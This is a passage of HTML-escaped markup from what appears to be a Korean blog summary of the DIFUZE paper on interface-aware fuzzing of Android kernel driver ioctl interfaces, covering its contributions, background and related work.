mp;nbsp;공급업체가&amp;nbsp;작성한&amp;nbsp;드라이버&amp;nbsp;코드에&amp;nbsp;있다.&amp;nbsp;모바일&amp;nbsp;장치의&amp;nbsp;수가&amp;nbsp;지속적으로&amp;nbsp;증가하고&amp;nbsp;보안이&amp;nbsp;중요해짐에&amp;nbsp;따라&amp;nbsp;공격자가&amp;nbsp;악용하기&amp;nbsp;전에&amp;nbsp;장치&amp;nbsp;드라이버의&amp;nbsp;취약점을&amp;nbsp;식별하는&amp;nbsp;자동화된&amp;nbsp;접근&amp;nbsp;방식이&amp;nbsp;매우&amp;nbsp;중요하다. &lt;br /&gt;&lt;br /&gt;시스템&amp;nbsp;호출&amp;nbsp;인터페이스의&amp;nbsp;자동&amp;nbsp;분석은&amp;nbsp;관련&amp;nbsp;작업에&amp;nbsp;의해&amp;nbsp;철저히&amp;nbsp;검토되었지만&amp;nbsp;ioctls는&amp;nbsp;소홀히&amp;nbsp;취급되어&amp;nbsp;왔다.&amp;nbsp;이는&amp;nbsp;syscall과의&amp;nbsp;상호작용은&amp;nbsp;잘&amp;nbsp;정의된&amp;nbsp;통일된&amp;nbsp;사양을&amp;nbsp;따르는&amp;nbsp;반면&amp;nbsp;ioctls와의&amp;nbsp;상호작용은&amp;nbsp;해당&amp;nbsp;장치&amp;nbsp;드라이버에&amp;nbsp;따라&amp;nbsp;다르기&amp;nbsp;때문이다.&amp;nbsp;특히,&amp;nbsp;ioctl&amp;nbsp;인터페이스는&amp;nbsp;각&amp;nbsp;유효한&amp;nbsp;명령&amp;nbsp;집합에&amp;nbsp;대한&amp;nbsp;구조화된&amp;nbsp;인수로&amp;nbsp;구성되며,&amp;nbsp;명령어와&amp;nbsp;데이터&amp;nbsp;구조체는&amp;nbsp;모두&amp;nbsp;드라이버에&amp;nbsp;의존한다.&amp;nbsp;이는&amp;nbsp;보안에&amp;nbsp;영향을&amp;nbsp;미치지만(즉,&amp;nbsp;이러한&amp;nbsp;구조체의&amp;nbsp;포인터,&amp;nbsp;동적&amp;nbsp;크기&amp;nbsp;필드,&amp;nbsp;공용체,&amp;nbsp;하위&amp;nbsp;구조체는&amp;nbsp;구조체의&amp;nbsp;구문&amp;nbsp;분석으로&amp;nbsp;인한&amp;nbsp;취약점의&amp;nbsp;가능성을&amp;nbsp;증가시킨다)&amp;nbsp;이러한&amp;nbsp;장치들을&amp;nbsp;분석하기&amp;nbsp;어렵게&amp;nbsp;만든다.&amp;nbsp;이러한&amp;nbsp;장치의&amp;nbsp;자동&amp;nbsp;분석은&amp;nbsp;반드시&amp;nbsp;인터페이스를&amp;nbsp;인식해야&amp;nbsp;하며,&amp;nbsp;효과적이기&amp;nbsp;위해서는&amp;nbsp;명령&amp;nbsp;식별자와&amp;nbsp;장치가&amp;nbsp;예상하는&amp;nbsp;데이터&amp;nbsp;구조를&amp;nbsp;사용하여&amp;nbsp;ioctls와&amp;nbsp;상호작용을&amp;nbsp;해야&amp;nbsp;한다. &lt;br /&gt;&lt;br /&gt;본&amp;nbsp;논문에서는&amp;nbsp;인터페이스&amp;nbsp;인식&amp;nbsp;퍼징을&amp;nbsp;가능하게&amp;nbsp;하고&amp;nbsp;장치&amp;nbsp;드라이버가&amp;nbsp;제공하는&amp;nbsp;ioctl&amp;nbsp;인터페이스의&amp;nbsp;동적&amp;nbsp;탐색을&amp;nbsp;용이하게&amp;nbsp;하는&amp;nbsp;새로운&amp;nbsp;기술&amp;nbsp;조합인&amp;nbsp;DIFUZE를&amp;nbsp;제시한다.&amp;nbsp;DIFUZE는&amp;nbsp;유효한&amp;nbsp;명령&amp;nbsp;및&amp;nbsp;관련&amp;nbsp;데이터&amp;nbsp;구조체를&amp;nbsp;포함하여&amp;nbsp;특정&amp;nbsp;ioctl&amp;nbsp;인터페이스를&amp;nbsp;복구하기&amp;nbsp;위해&amp;nbsp;커널&amp;nbsp;드라이버&amp;nbsp;코드의&amp;nbsp;자동&amp;nbsp;정적&amp;nbsp;분석을&amp;nbsp;수행한다.&amp;nbsp;복구된&amp;nbsp;인터페이스를&amp;nbsp;사용하여&amp;nbsp;ioctl&amp;nbsp;호출에&amp;nbsp;대한&amp;nbsp;입력을&amp;nbsp;생성하며,&amp;nbsp;사용자&amp;nbsp;공간&amp;nbsp;프로그램에서&amp;nbsp;커널로&amp;nbsp;전송될&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;이러한&amp;nbsp;입력은&amp;nbsp;드라이버가&amp;nbsp;사용하는&amp;nbsp;명령과&amp;nbsp;구조가&amp;nbsp;일치하여&amp;nbsp;ioctl을&amp;nbsp;효율적이고&amp;nbsp;심층적으로&amp;nbsp;탐색을&amp;nbsp;가능하게&amp;nbsp;한다.&amp;nbsp;복구된&amp;nbsp;인터페이스를&amp;nbsp;통해&amp;nbsp;퍼저는&amp;nbsp;데이터를&amp;nbsp;변경할&amp;nbsp;때&amp;nbsp;의미&amp;nbsp;있는&amp;nbsp;선택을&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;즉,&amp;nbsp;포인터,&amp;nbsp;열거&amp;nbsp;형,&amp;nbsp;정수와&amp;nbsp;같은&amp;nbsp;입력된&amp;nbsp;필드는&amp;nbsp;단순한&amp;nbsp;바이트의&amp;nbsp;시퀀스로&amp;nbsp;처리하면&amp;nbsp;안&amp;nbsp;된다.&amp;nbsp;DIFUZE는&amp;nbsp;해당&amp;nbsp;드라이버의&amp;nbsp;가정을&amp;nbsp;강조하고&amp;nbsp;심각한&amp;nbsp;보안&amp;nbsp;취약점을&amp;nbsp;노출한다.&amp;nbsp;실험에서&amp;nbsp;7개의&amp;nbsp;최신&amp;nbsp;모바일&amp;nbsp;기기를&amp;nbsp;분석하여&amp;nbsp;36개의&amp;nbsp;취약점을&amp;nbsp;발견했는데,&amp;nbsp;그중&amp;nbsp;32개는&amp;nbsp;이전에&amp;nbsp;알려지지&amp;nbsp;않았으며(DIFUZE에&amp;nbsp;의해&amp;nbsp;발견된&amp;nbsp;4개의&amp;nbsp;취약점은&amp;nbsp;실험&amp;nbsp;과정에서&amp;nbsp;패치가&amp;nbsp;되었다),&amp;nbsp;문제의&amp;nbsp;장치를&amp;nbsp;크래시시키는&amp;nbsp;결함에서부터&amp;nbsp;공격자가&amp;nbsp;서비스&amp;nbsp;거부(DoS)를&amp;nbsp;완전히&amp;nbsp;제어할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;버그에&amp;nbsp;이르기까지&amp;nbsp;다양하다.&amp;nbsp;그&amp;nbsp;결과,&amp;nbsp;사용자&amp;nbsp;공간&amp;nbsp;애플리케이션의&amp;nbsp;취약점이&amp;nbsp;희박해짐에&amp;nbsp;따라&amp;nbsp;공격자는&amp;nbsp;커널에&amp;nbsp;초점을&amp;nbsp;맞춘다.&amp;nbsp;예를&amp;nbsp;들어,&amp;nbsp;최근&amp;nbsp;3년간&amp;nbsp;커널&amp;nbsp;코드에&amp;nbsp;있는&amp;nbsp;안드로이드&amp;nbsp;취약점&amp;nbsp;점유율은&amp;nbsp;4%(2014년)에서&amp;nbsp;39%(2016년)로&amp;nbsp;증가해&amp;nbsp;커널&amp;nbsp;버그를&amp;nbsp;탐지하고&amp;nbsp;제거하는&amp;nbsp;기법의&amp;nbsp;필요성을&amp;nbsp;부각했다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;요약하면, 논문은 다음과 같은 기여를 한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Interface-aware fuzzing&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;POSIX 시스템의 ioctl 커널 드라이버 인터페이스와 같은 인터페이스에 민감한 대상의 퍼징 하기 위한 새로운 접근 방식을 설계한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;overflow: hidden; line-height: 0px;&quot;&gt;&lt;/span&gt;Automated driver analysis&lt;/b&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;장치의 커널 소스를 자동으로 분석할 수 있는 퍼징 프레임워크를 개발했다. 모든 드라이버에 대한 도구는 모든 ioctl 진입점과 해당 구조체 및 장치 파일 이름을 식별한다. 36가지 취약점을 식별하는 7가지 장치를 분석하기 위해서 기술을 적용한다. DoS에서 코드 실행 결함에 이르는 취약점은 접근 방식의 효과와 영향을 보여준다. 이러한 취약점을 해당 드라이버 공급 업체에 책임 있게 공개하고 있다.&lt;span style=&quot;overflow: hidden; line-height: 0px;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DIFUZE prototype&lt;/b&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;DIFUZE를 오픈 소스 도구로&lt;span&gt;&amp;nbsp;&lt;a href=&quot;http://www.github.com/ucsb-seclab/difuze&quot;&gt;www.github.com/ucsb-seclab/difuze&lt;/a&gt;&amp;nbsp;에서&lt;/span&gt; 공개하여 향후 보안 연구원에게 유용할 것으로 기대된다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;2. 배경과 관련 작업&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;이 섹션에서는 반드시 극복해야 할 고유한 과제(이러한 과제로 인해 기존 시스템이 ioctl 퍼징에 적용되지 않은 이유)를 설명하고, 퍼징 도구가 작동하는 플랫폼(Android)을 소개하고, 프로그램 취약점을 찾아내는 이전의 작업을 비교한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 POSIX 장치 드라이버&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;POSIX 표준은 사용자 공간 애플리케이션과 장치 드라이버의 상호작용을 위한 인터페이스를 명시한다. 이 인터페이스는 커널 상주 장치 드라이버의 사용자 공간 존재를 나타내는 특수 파일인 장치 파일을 통해 장치와 상호작용을 지원한다. 사용자 공간 애플리케이션이 open() 시스템 호출로 장치 파일에 대한 핸들을 획득한 후, 애플리케이션이 이러한 파일과 상호 작용을 할 수 있는 여러 가지 방법이 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;장치마다 기능을 수행하려면 다른 시스템 호출이 필요하다. 예를 들어, read(), write(), seek()는 하드 드라이브 장치 파일에 적용할 수 있다(하드 드라이브의 내용을 단일 파일로 표시). 오디오 장치의 경우 read()는 마이크에서 원시 오디오 데이터를 읽을 수 있으며 write()는 스피커에 원시 오디오 데이터를 쓸 수 있으며 seek()는 사용되지 않을 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;그러나 일부 기능은 기존 시스템 호출을 통해 구현될 수 없다. 예를 들어, 오디오 장치의 경우 사용자 공간 애플리케이션은 오디오를 녹음하거나 재생할 샘플링 속도를 어떻게 구성해야 할지? 이러한 대역 외 동작은 ioctl() 인터페이스 1을 통해 POSIX 표준에서 지원된다. 이 시스템 호출을 통해 드라이버는 기존 파일로 모델링하기 어려운 기능을 노출시킬 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;일반성을 지원하기 위해 ioctl() 인터페이스는 임의의 드라이버 지정 구조체를 입력으로 수신할 수 있다. C 프로토타입은 int ioctl(int file_descriptor, int request, ...)처럼 보이는데 여기서 첫 번째 인수는 열린 파일 설명자, 두 번째 인수는 일반적으로 명령 식별자로 알려진 정수이며 나머지 인수의 종류와 양은 드라이버와 명령 식별자에 따라 달라진다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;과제&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;앞에서 언급한 특성은 ioctl 시스템 호출을 특히 취약점에 취약하게 만든다. 첫째, read()와 write()와는 달리 ioctl() 호출에 제공된 데이터는 종종 극도로 복잡하고 비표준 데이터 구조체의 인스턴스들이다. 이러한 구조체를 파싱 하는 것은 쉬운 일이 아니며, 실수로 커널 컨텍스트에 치명적인 취약점이 생길 수 있다. 둘째, 데이터 구조체의 일반성으로 인해 분석가가 문제의 드라이버가 다른 명령 식별자를 처리하는 방법과 선택적 인수에 대해 예상되는 데이터 유형에 대한 지식이 있어야 하기 때문에 ioctl() 인터페이스의 분석도 어렵다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;이것들은 우리가 해결하고자 하는 핵심 문제들이다. DIFUZE가 명령 식별자와 구조체 정보를 자동으로 복구하고, 필요한 복잡한 데이터 구조체를 구축하며, &lt;span style=&quot;color: #333333;&quot;&gt;최소한의 사용자 개입으로&lt;/span&gt; ioctl() 인터페이스가 있는 퍼지 장치를 통해 보안 취약점을 찾아낼 수 있도록 설계했다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 안드로이드 운영체제&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;안드로이드는 스마트폰의 운영체제로 설계되었다. 안드로이드가 2016년 3분기에 86.8%의 점유율로 스마트폰 OS 시장을 장악했다는 최근 보고서가 나왔다. 안드로이드 디자이너들은 기기들을 보호하기 위해 신중한 조치를 취하지만, 스마트폰 시스템에는 몇 가지 취약점이 있다. 안드로이드의 인기와 증가하는 보안 문제를 고려하여 분석 방식을 평가하기 위해 안드로이드 시스템을 주요 타깃 플랫폼으로 선택한다. DIFUZE는 다른 유닉스 계열 시스템에서도 작동한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;안드로이드는 단일 아키텍처를 가진 리눅스 커널을 기반으로 한다. 커널 모듈(장치 드라이버 등)은 일정 수준의 모듈성을 제공하지만, 전체 커널이 하나의 메모리 공간에서 실행되고, 모든 부분이 동일한 권한이 부여된다는 점에서 설계 원리는 여전히 획일적이다. 따라서 장치 드라이버의 취약점은 전체 커널을 손상시킬 수 있다. 실제로 2016년 안드로이드 커널에 보고된 버그 중 80% 이상이 공급 업체가 작성한 드라이버 코드에서 나왔다. 안드로이드 오픈 소스 프로젝트는 공급 업체(예: Sony, HTC)는 디지털카메라, 가속도계, GPS 장치와 같은 새로운 하드웨어를 지원하기 위해 안드로이드 커널 드라이버를 사용자 정의할 수 있다. 보안은 종종 그러한 회사들의 시장 출시 시간을 단축시키기 때문에, 보안 프로세스의 도입 과정에서 보안 취약점이 발생하기 쉽다. 다행히도, 안드로이드 시스템의 개방성은 GNU(General Public License)에 따라 소스 코드를 공개적으로 이용할 수 있게 한다. 이는 드라이버에 대한 높은 수준의 의미론적으로 풍부한 정보에 대한 접근을 제공하기 때문에 우리의 접근 방식을 용이하게 한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;2.3&amp;nbsp;Fuzz&amp;nbsp;Testing&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;퍼징은 프로그램에 입력으로 무작위 데이터를 생성하여 프로그램 테스트를 하는 것으로 알려져 있다. SPIKE, Valgrind, PROTOS와 같은 많은 여구 관심을 끌었다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Fuzzing&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;퍼징의 주요 전망은 &quot;가장 유효한&quot; 입력을 생성하여 대상 프로그램을 실행하고, 광범위한 기능을 수행하며, 취약점으로 이어지는 일부&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Corner_case&quot;&gt;코너케이스(corner case)&lt;/a&gt;를 트리거하는 것이다. 동적 특성 추적은 잠재적 입력을 생성하기 위해 널리 사용되는 전략이다. Dowser와 BuzFuzz는 특정 유형의 취약점을 유발할 가능성이 높은 입력을 생성하기 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Taint_checking&quot;&gt;오염 추적(taint tracking)&lt;/a&gt;을 사용한다. 그러나 매우 제한된 입력을 요구하는 ioctl 함수의 경우, 이러한 기법은 덜 효과적이다. 오염 분석에 기반한 접근법은 기본 프로그램에서 사용하는 입력 형식을 복구하기 위해 존재하지만, 특정 명령 식별자가 주어지면 ioctl 핸들러는 특정 유형의 추가 인수를 기대할 수 있다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;진화 기술은 퍼징 시스템에서 또 다른 일반적인 입력 생성 전략을 나타낸다. VUzzer와 SymFuzz는 정적 분석을 돌연변이 기반(mutation-based) 진화 기술과 결합하여 입력을 효율적으로 생성한다. 그러나 이러한 기술은 매우 제한된 입력을 생성하는 데 비효과적이다. DIFUZE는 가능한 ioctl 명령 값을 먼저 수집한 후 예상 입력 형식으로 퍼징하여 이 문제를 해결한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;프로그램의 입력 형식을 알고 있으면, 유효한 입력 사양으로 퍼징을 향상시킬 수 있다. &lt;a href=&quot;https://www.peach.tech/products/peach-fuzzer/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;피치(Peach)&lt;/a&gt;는 업계 표준 도구 중 하나이다. 그러나 실시간 데이터(즉, 다른 데이터에 대한 활성 포인터가 포함된 데이터)를 생성할 수 없으며, 8절에서 볼 수 있듯이 많은 장치 드라이버에는 포인터를 포함하는 입력 구조가 필요하다. 문법 기반 기술은 파일 형식, 인터프리터, 컴파일러를 퍼징하는 데 사용되었지만, 이러한 기술에는 입력이 고정된 형식을 갖도록 요구한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Kernel and driver fuzzing&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;운영 체제 인터페이스 또는 시스템 호출을 퍼징하는 것은 운영 체제 커널을 테스트하기 위한 실질적인 접근 방식이다. 대부분의 드라이버는 사용자 공간과 상호작용하기 위해 POSIX 표준인 ioctl 기능을 사용한다. 3.1절에서 논의한 바와 같이 ioctl는 복잡하며, 사용자가 생성한 특정 명령 값과 데이터 형식을 요구한다. 유효한 명령 값과 관련 데이터 구조체를 식별하는 것은 ioctl 퍼징의 두 가지 주요 문제이다. iofuzz, ioattack, ioctlbf, ioctlfuzzer와 같은 윈도우 커널용 ioctl 인터페이스를 테스트하기 위한 도구가 개발되었다. 그러나 이러한 도구는 윈도우 커널에서 제공하는 정보의 광범위한 로깅 및 추적뿐만 아니라 윈도우 고유의 ioctl 명령 형식에 의존한다. 또한, 이러한 도구들 중 많은 것들이 본질적으로 단순하다. 단순히 프로세스에 연결하고 윈도우 ioctl 호출을 연결하는 것을 포함한다. 일단 연결되면, 도구는 호출이 이루어질 때 값을 변경한다. 이것은 몇 가지 측면에서 부족하다. 예를 들어, 프로세스가 드라이버의 전체 기능을 발휘하지 못할 수 있으며 들어오는 데이터의 유형 정보를 알 수 없기 때문이다. 이 문제를 해결하기 위해 DIFUZE는 장치 드라이버의 소스 코드를 분석하여 유효한 명령과 해당 데이터 구조체를 식별한다. 우리가 사용하는 분석 기술은 실제 장치를 수정할 필요가 없다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;유효한 ioctl 명령어의 추출은 Stanislas 외에 시도되었지만, 최첨단 시스템은 실제 커널 모듈로 확장할 수 없었다. 반대로, 8절에서 보여지듯이, DIFUZE는 실제 장치의 대형 커널 모듈로 확장하고 취약점을 찾아낸다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;Trinity와 syzkaller는 리눅스 syscall 퍼징을 위해 특별히 개발되었다. 8절에서 알 수 있듯이 장치 드라이버의 ioctl 핸들러를 퍼징할 때 성능이 저하된다. &lt;span style=&quot;color: #333333;&quot;&gt;syzkaller는 더 많은 버그를 탐지하기 위해 커널 &lt;a href=&quot;https://www.kernel.org/doc/html/v4.14/dev-tools/kasan.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Kernel Address Sanitizer(KASAN)&lt;/a&gt;와 같은 추가 계측 기법을 사용하지만, 이러한 기법은 분석가가 사용자 정의 펌웨어를 사용하여 장치를 재플래시해야하기 때문에 공급 업체 기기에서 직접 사용할 수 없다. 몇 가지 접근 방식은 특히 선택된 syscall 및 드라이버에 대한 퍼징에 중점을 두었다. 그러나 &lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;특정한 기능에만 초점을 맞추고 있으며 다른 시스템이나 드라이버로 일반화될 수 없다. DIFUZE는 수정되지 않은 커널을 실행하는 장치에서 모든 리눅스 커널 드라이버를 퍼징하도록 일반화할 수 있는 최초의 완전 자동화 시스템입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;2.4 기타 분석&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;퍼징 외에도 심볼릭 실행(symbolic execution)과 정적 분석(static analysis)이라는 두 가지 분석 기법이 있는데, 작업과 관련이 있다. 이러한 메커니즘을 소개하고 메커니즘이 설계에 미치는 영향을 설명할 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Symbolic execution&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;심볼릭 실행은 심볼릭 변수를 사용하여 제한된 입력을 생성하고 복잡한 검사를 만족시키는 기술이다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;DART, SAGE, Fuzzgrind, Driller는 심볼릭 실행을 무작위 테스트와 결합하여 코드 적용 범위를 증사시킨다. BORG는 &lt;a href=&quot;https://ko.wikipedia.org/wiki/%EB%B2%84%ED%8D%BC_%EC%98%A4%EB%B2%84%EB%A6%AC%EB%93%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;버퍼 오버리드(Buffer over-reads)&lt;/a&gt;를 유발할 가능성이 높은 입력을 생성하기 위해 심볼릭 실행을 사용한다. 원시 장치에서 심볼릭 실행을 수행하는 엔지니어링 문제와 복잡한 시스템 커널에 의해 더욱 악화되는 근본적인 경로 폭발 문제(복잡한 시스템 커널에 의해 더욱 악화됨)는 이러한 기법을 커널 드라이버에 비실용적으로 만든다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Static analysis&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;정적 분석은 해당 프로그램을 실행하지 않고 프로그램 취약점을 찾아내는 널리 사용되는 기술이다. 정밀도를 극대화하기 위해, 이러한 기법들도 분석을 수행하기 위해 일반적으로 소스 코드가 필요된다. 많은 시스템 커널(리눅스 커널 포함)과 장치 드라이버가 오픈 소스이기 때문에 커널 보안은 정적 분석에서 큰 이익을 얻을 수 있다. 예를 들어, Ashcraft 등은 리눅스와 OpenBSD 커널의 신뢰할 수 없는 소스에서 읽은 정수를 잡기 위해 컴파일러 확장을 개발했다. Post 등 리눅스 커널에서 교착 상태 및 메모리 누수를 찾기 위해 경계 모델 검사기를 사용했다. Ball 등 윈도우 드라이버의 정확성을 증명하기 위해 일련의 규칙으로 정적 분석 도구를 만들었다.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;대부분의 정적 분석 도구의 한 가지 제한 사항은 많은 오탐지 생성입니다. 우리의 작업은 취약점 탐지 단계에서 퍼징을 활용하기 때문에, 확인된 모든 취약점은 실제 버그이며, 오탐지를 완전히 피할 수 있다. 정적 분석 기술의 또 다른 단점은 분석 시 보안 정책 및 규칙의 수동 사양이 필요하다는 것이다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;3. 개요&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size18&quot;&gt;이번 절에서는 인터페이스 인식 퍼징 접근 방식과 ioctl 퍼징을 통한 장치 드라이버의 취약점 탐지에 대한 애플리케이션에 대한 개요이다.&lt;/p&gt;
